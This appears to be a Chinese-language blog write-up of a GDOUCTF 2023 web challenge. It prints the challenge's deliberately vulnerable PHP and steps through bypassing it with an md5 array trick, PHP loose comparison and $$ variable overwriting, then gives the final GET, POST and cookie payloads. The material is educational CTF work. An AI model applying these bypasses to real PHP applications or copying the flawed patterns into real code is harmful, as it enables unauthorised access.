GDOUCTF 2023受不了一点
本文最后更新于95 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20250408110837.png

一、访问网站

Pasted image 20250408110900.png

二、分析代码

<?php   error_reporting(0);   
header("Content-type:text/html;charset=utf-8");   if(isset($_POST['gdou'])&&isset($_POST['ctf'])){   
	$b=$_POST['ctf'];
	$a=$_POST['gdou'];       
	if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){           if(isset($_COOKIE['cookie'])){              if ($_COOKIE['cookie']=='j0k3r'){                  if(isset($_GET['aaa']) && isset($_GET['bbb'])){                  $aaa=$_GET['aaa']; 
                   $bbb=$_GET['bbb'];                    if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){                   $give = 'cancanwordflag';
                    $get ='hacker!';                      if(isset($_GET['flag']) && isset($_POST['flag'])){                            die($give);                      
                     }                      if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){                          die($get);                      
                      }                       
                      foreach ($_POST as $key => $value) {                           $$key = $value;                    
                        }                       foreach ($_GET as $key => $value) {                            $$key = $$value;
                        }                     
                         echo $flag; 
                        }else{ 
                                            echo "洗洗睡吧"; 
                              }  
                                }else{  
                                         echo "行不行啊细狗";
                                                    }
                                                         } 
                                                           }
else {    
echo '菜菜';   
}   
}else{
echo "就这?";
}   
}else{ 
echo "别来沾边";
}   
?>
//别来沾边

绕过第一层:

if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b))

可以知道,使用数组进行绕过

绕过第二层:

if(isset($_COOKIE['cookie'])){
	if ($_COOKIE['cookie']=='j0k3r')

需要将COOKIE值改为cookie=j0k3r

绕过第三层:

if($aaa==114514 && $bbb==114514 && $aaa!=$bbb)

很明显是弱比较,可以使用114514a在==下被解析成114514的特性进行绕过

绕过第四层:

if(isset($_GET['flag']) && isset($_POST['flag'])){                            die($give);                      
                     }                      if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){                          die($get);                      
                      }                       
                      foreach ($_POST as $key => $value) {                           $$key = $value;                    
                        }                       foreach ($_GET as $key => $value) {                            $$key = $$value;
                        }                     
                         echo $flag;

由于出现了foreach函数,可以知道考察的是变量覆盖
1.先是需要绕过 if(isset($_GET['flag']) && isset($_POST['flag'])),即GET和POST不能同时传入flag,因此只是用GET传参

2.其次是绕过 if($_POST['flag'] ==‘flag′ || $_GET['flag'] ===‘flag')这里需要让变量flag不等于flag,所以flag=123

3.两个foreach()是用来做循环的,即:将GET或POST获得的参数分别给到$key$value,作为键值对,再进行循环体内的操作。例如传入的 123=flag,那么就有$key=123 & $value=flag

4.这里使用第二个foreach()即利用GET传参。原因是,在第二个循环体内,有:$$key = $$value;$$相当于一个套娃,例如:

$a = 1;
$$a = 2;
那么$$a就相当于$1

5.为了使flag=flag,输入123=flag,变量123的值就是flag,再输入flag=123,flag就等于flag,于是就实现了绕过`flag===’flag’

三、输入payload

GET:

?aaa=114514&bbb=114514a&123=flag&flag=123

POST:

gdou[]=1&ctf[]=2

COOKIE:

cookie=j0k3r

Pasted image 20250408114153.png

成功获取flag

总结

  • 数组绕过
  • 弱比较
  • 变量覆盖
  • foreach函数
foreach ($_GET as $key => $value) {
$$key = $$value;
}

foreach 循环遍历 $_GET 数组,每次循环时把当前元素的键赋给 $key 变量,把对应的值赋给 $value 变量

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇